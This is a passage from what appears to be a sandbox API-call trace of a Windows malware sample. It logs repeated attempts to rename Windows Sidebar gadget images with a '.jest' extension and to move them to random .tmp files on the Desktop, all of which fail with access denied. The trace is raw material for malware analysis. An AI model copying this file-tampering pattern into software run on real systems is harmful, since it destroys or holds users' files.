dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.320] GetTickCount () returned 0x115206d [0126.320] IsWindowVisible (hWnd=0x30268) returned 0 [0126.320] Sleep (dwMilliseconds=0x0) [0126.320] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.320] GetFullPathNameA (in: lpFileName="w0434_6BxgZV_xTWtRneV4VwD0yeX9kc4n84eYvC710FHZ9xPJ2pWw2Dzk0JXAsiz5usYA3ZNp fn6TE6 WCgEII3e8T40BCcFMS.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w0434_6BxgZV_xTWtRneV4VwD0yeX9kc4n84eYvC710FHZ9xPJ2pWw2Dzk0JXAsiz5usYA3ZNp fn6TE6 WCgEII3e8T40BCcFMS.tmp", lpFilePart=0x18e708*="w0434_6BxgZV_xTWtRneV4VwD0yeX9kc4n84eYvC710FHZ9xPJ2pWw2Dzk0JXAsiz5usYA3ZNp fn6TE6 WCgEII3e8T40BCcFMS.tmp") returned 0x8f [0126.321] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png", lpFilePart=0x18e708*="back.png") returned 0x49 [0126.321] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\back.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w0434_6BxgZV_xTWtRneV4VwD0yeX9kc4n84eYvC710FHZ9xPJ2pWw2Dzk0JXAsiz5usYA3ZNp fn6TE6 WCgEII3e8T40BCcFMS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w0434_6bxgzv_xtwtrnev4vwd0yex9kc4n84eyvc710fhz9xpj2pww2dzk0jxasiz5usya3znp fn6te6 wcgeii3e8t40bccfms.tmp")) returned 0 [0126.323] GetLastError () returned 0x5 [0126.323] GetLastError () returned 0x5 [0126.323] SetLastError (dwErrCode=0x5) [0126.323] GetLastError () returned 0x5 [0126.323] SetLastError (dwErrCode=0x5) [0126.323] GetLastError () returned 0x5 [0126.323] SetLastError (dwErrCode=0x5) [0126.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.324] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.324] GetFullPathNameA (in: lpFileName="w0434_6BxgZV_xTWtRneV4VwD0yeX9kc4n84eYvC710FHZ9xPJ2pWw2Dzk0JXAsiz5usYA3ZNp fn6TE6 WCgEII3e8T40BCcFMS.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w0434_6BxgZV_xTWtRneV4VwD0yeX9kc4n84eYvC710FHZ9xPJ2pWw2Dzk0JXAsiz5usYA3ZNp fn6TE6 WCgEII3e8T40BCcFMS.tmp", lpFilePart=0x18e6e4*="w0434_6BxgZV_xTWtRneV4VwD0yeX9kc4n84eYvC710FHZ9xPJ2pWw2Dzk0JXAsiz5usYA3ZNp fn6TE6 WCgEII3e8T40BCcFMS.tmp") returned 0x8f [0126.324] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w0434_6BxgZV_xTWtRneV4VwD0yeX9kc4n84eYvC710FHZ9xPJ2pWw2Dzk0JXAsiz5usYA3ZNp fn6TE6 WCgEII3e8T40BCcFMS.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x33343077, cFileName="4_6BxgZV_xTWtRneV4VwD0yeX9kc4n84eYvC710FHZ9xPJ2pWw2Dzk0JXAsiz5usYA3ZNp fn6TE6 WCgEII3e8T40BCcFMS.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.324] GetLastError () returned 0x2 [0126.324] GetLastError () returned 0x2 [0126.324] SetLastError (dwErrCode=0x2) [0126.325] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔠ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.326] GetLastError () returned 0x0 [0126.326] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.327] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ō", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.327] GetLastError () returned 0x0 [0126.327] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.327] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.327] GetTickCount () returned 0x115207c [0126.327] GetTickCount () returned 0x115207c [0126.327] GetTickCount () returned 0x115207c [0126.327] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.327] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.327] GetTickCount () returned 0x115207c [0126.327] IsWindowVisible (hWnd=0x30268) returned 0 [0126.327] Sleep (dwMilliseconds=0x0) [0126.328] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\back_lrg.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\back_lrg.png.jest")) returned 0 [0126.329] GetLastError () returned 0x5 [0126.329] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥扜捡彫牬⹧湰g") returned 0x4d [0126.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=77, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0126.329] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥扜捡彫牬⹧湰g") returned 0x4d [0126.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=78, lpWideCharStr=0x14cf144, cchWideChar=155 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png") returned 78 [0126.329] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥扜捡彫牬⹧湰⹧敪瑳") returned 0x52 [0126.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=82, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0126.329] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥扜捡彫牬⹧湰⹧敪瑳") returned 0x52 [0126.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=83, lpWideCharStr=0x14c2ea4, cchWideChar=165 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png.jest") returned 83 [0126.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png", lpUsedDefaultChar=0x0) returned 78 [0126.330] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png", lpFilePart=0x18e6d8*="back_lrg.png") returned 0x4d [0126.330] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb94e8514, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb94e8514, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb7c4b8bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6651, dwReserved0=0x57, dwReserved1=0x0, cFileName="back_lrg.png", cAlternateFileName="")) returned 0x143ce48 [0126.330] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.331] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.332] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.332] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0xc9)) [0126.333] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0xc9)) [0126.333] GetUserDefaultLCID () returned 0x409 [0126.333] VarBstrFromR4 (in: fltIn=0x4794451a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.2") returned 0x0 [0126.334] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.334] GetTickCount () returned 0x115207c [0126.334] GetTickCount () returned 0x115207c [0126.334] GetTickCount () returned 0x115207c [0126.334] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.334] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.334] GetTickCount () returned 0x115207c [0126.334] IsWindowVisible (hWnd=0x30268) returned 0 [0126.334] Sleep (dwMilliseconds=0x0) [0126.334] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.334] GetFullPathNameA (in: lpFileName="X-hoK7-fCsX5TRe3DSYP_ AvQ4hUpbGOK66s-gLQS9czu_- 5sJK50X_pFlXKc2s9 v9vwLbAz8OjVXWPpW5pgVTi4qCSZeE3xUo.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X-hoK7-fCsX5TRe3DSYP_ AvQ4hUpbGOK66s-gLQS9czu_- 5sJK50X_pFlXKc2s9 v9vwLbAz8OjVXWPpW5pgVTi4qCSZeE3xUo.tmp", lpFilePart=0x18e708*="X-hoK7-fCsX5TRe3DSYP_ AvQ4hUpbGOK66s-gLQS9czu_- 5sJK50X_pFlXKc2s9 v9vwLbAz8OjVXWPpW5pgVTi4qCSZeE3xUo.tmp") returned 0x8e [0126.335] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png", lpFilePart=0x18e708*="back_lrg.png") returned 0x4d [0126.335] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\back_lrg.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X-hoK7-fCsX5TRe3DSYP_ AvQ4hUpbGOK66s-gLQS9czu_- 5sJK50X_pFlXKc2s9 v9vwLbAz8OjVXWPpW5pgVTi4qCSZeE3xUo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x-hok7-fcsx5tre3dsyp_ avq4hupbgok66s-glqs9czu_- 5sjk50x_pflxkc2s9 v9vwlbaz8ojvxwppw5pgvti4qcszee3xuo.tmp")) returned 0 [0126.337] GetLastError () returned 0x5 [0126.337] GetLastError () returned 0x5 [0126.337] SetLastError (dwErrCode=0x5) [0126.337] GetLastError () returned 0x5 [0126.337] SetLastError (dwErrCode=0x5) [0126.337] GetLastError () returned 0x5 [0126.337] SetLastError (dwErrCode=0x5) [0126.337] GetFullPathNameA (in: lpFileName="X-hoK7-fCsX5TRe3DSYP_ AvQ4hUpbGOK66s-gLQS9czu_- 5sJK50X_pFlXKc2s9 v9vwLbAz8OjVXWPpW5pgVTi4qCSZeE3xUo.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X-hoK7-fCsX5TRe3DSYP_ AvQ4hUpbGOK66s-gLQS9czu_- 5sJK50X_pFlXKc2s9 v9vwLbAz8OjVXWPpW5pgVTi4qCSZeE3xUo.tmp", lpFilePart=0x18e6e4*="X-hoK7-fCsX5TRe3DSYP_ AvQ4hUpbGOK66s-gLQS9czu_- 5sJK50X_pFlXKc2s9 v9vwLbAz8OjVXWPpW5pgVTi4qCSZeE3xUo.tmp") returned 0x8e [0126.337] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X-hoK7-fCsX5TRe3DSYP_ AvQ4hUpbGOK66s-gLQS9czu_- 5sJK50X_pFlXKc2s9 v9vwLbAz8OjVXWPpW5pgVTi4qCSZeE3xUo.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6f682d58, cFileName="K7-fCsX5TRe3DSYP_ AvQ4hUpbGOK66s-gLQS9czu_- 5sJK50X_pFlXKc2s9 v9vwLbAz8OjVXWPpW5pgVTi4qCSZeE3xUo.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.338] GetLastError () returned 0x2 [0126.338] GetLastError () returned 0x2 [0126.338] SetLastError (dwErrCode=0x2) [0126.339] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔠ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.339] GetLastError () returned 0x0 [0126.340] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.341] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ō", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.341] GetLastError () returned 0x0 [0126.341] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.341] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.341] GetTickCount () returned 0x115208c [0126.341] GetTickCount () returned 0x115208c [0126.341] GetTickCount () returned 0x115208c [0126.341] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.341] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.341] GetTickCount () returned 0x115208c [0126.341] IsWindowVisible (hWnd=0x30268) returned 0 [0126.341] Sleep (dwMilliseconds=0x0) [0126.342] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial.png.jest")) returned 0 [0126.343] GetLastError () returned 0x5 [0126.343] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥摜慩⹬湰g") returned 0x49 [0126.343] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=73, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0126.343] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥摜慩⹬湰g") returned 0x49 [0126.343] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=74, lpWideCharStr=0x144ddec, cchWideChar=147 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png") returned 74 [0126.343] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥摜慩⹬湰⹧敪瑳") returned 0x4e [0126.343] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=78, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0126.343] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥摜慩⹬湰⹧敪瑳") returned 0x4e [0126.343] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=79, lpWideCharStr=0x14c2ea4, cchWideChar=157 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png.jest") returned 79 [0126.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png", lpUsedDefaultChar=0x0) returned 74 [0126.344] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png", lpFilePart=0x18e6d8*="dial.png") returned 0x49 [0126.344] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7cbdcdc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb7cbdcdc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb7cbdcdc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x57, dwReserved1=0x0, cFileName="dial.png", cAlternateFileName="")) returned 0x143ce48 [0126.344] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.345] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.345] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0xd9)) [0126.346] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0xd9)) [0126.346] GetUserDefaultLCID () returned 0x409 [0126.346] VarBstrFromR4 (in: fltIn=0x4794451c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.22") returned 0x0 [0126.346] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.346] GetTickCount () returned 0x115208c [0126.346] GetTickCount () returned 0x115208c [0126.346] GetTickCount () returned 0x115208c [0126.346] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.346] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.346] GetTickCount () returned 0x115208c [0126.346] IsWindowVisible (hWnd=0x30268) returned 0 [0126.346] Sleep (dwMilliseconds=0x0) [0126.346] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.347] GetFullPathNameA (in: lpFileName="qRu-wmRlAtoU1zjXLXct1NcSf8cCEp0v1DpHWroGuU9a1fGNyvZ5STN95BGD1wK9tvEpS5XIJd7f3pbxmD6e WT4L0gW1MD0c_taz.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qRu-wmRlAtoU1zjXLXct1NcSf8cCEp0v1DpHWroGuU9a1fGNyvZ5STN95BGD1wK9tvEpS5XIJd7f3pbxmD6e WT4L0gW1MD0c_taz.tmp", lpFilePart=0x18e708*="qRu-wmRlAtoU1zjXLXct1NcSf8cCEp0v1DpHWroGuU9a1fGNyvZ5STN95BGD1wK9tvEpS5XIJd7f3pbxmD6e WT4L0gW1MD0c_taz.tmp") returned 0x8f [0126.347] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png", lpFilePart=0x18e708*="dial.png") returned 0x49 [0126.347] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qRu-wmRlAtoU1zjXLXct1NcSf8cCEp0v1DpHWroGuU9a1fGNyvZ5STN95BGD1wK9tvEpS5XIJd7f3pbxmD6e WT4L0gW1MD0c_taz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qru-wmrlatou1zjxlxct1ncsf8ccep0v1dphwroguu9a1fgnyvz5stn95bgd1wk9tveps5xijd7f3pbxmd6e wt4l0gw1md0c_taz.tmp")) returned 0 [0126.349] GetLastError () returned 0x5 [0126.349] GetLastError () returned 0x5 [0126.349] SetLastError (dwErrCode=0x5) [0126.349] GetLastError () returned 0x5 [0126.349] SetLastError (dwErrCode=0x5) [0126.349] GetLastError () returned 0x5 [0126.349] SetLastError (dwErrCode=0x5) [0126.349] GetFullPathNameA (in: lpFileName="qRu-wmRlAtoU1zjXLXct1NcSf8cCEp0v1DpHWroGuU9a1fGNyvZ5STN95BGD1wK9tvEpS5XIJd7f3pbxmD6e WT4L0gW1MD0c_taz.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qRu-wmRlAtoU1zjXLXct1NcSf8cCEp0v1DpHWroGuU9a1fGNyvZ5STN95BGD1wK9tvEpS5XIJd7f3pbxmD6e WT4L0gW1MD0c_taz.tmp", 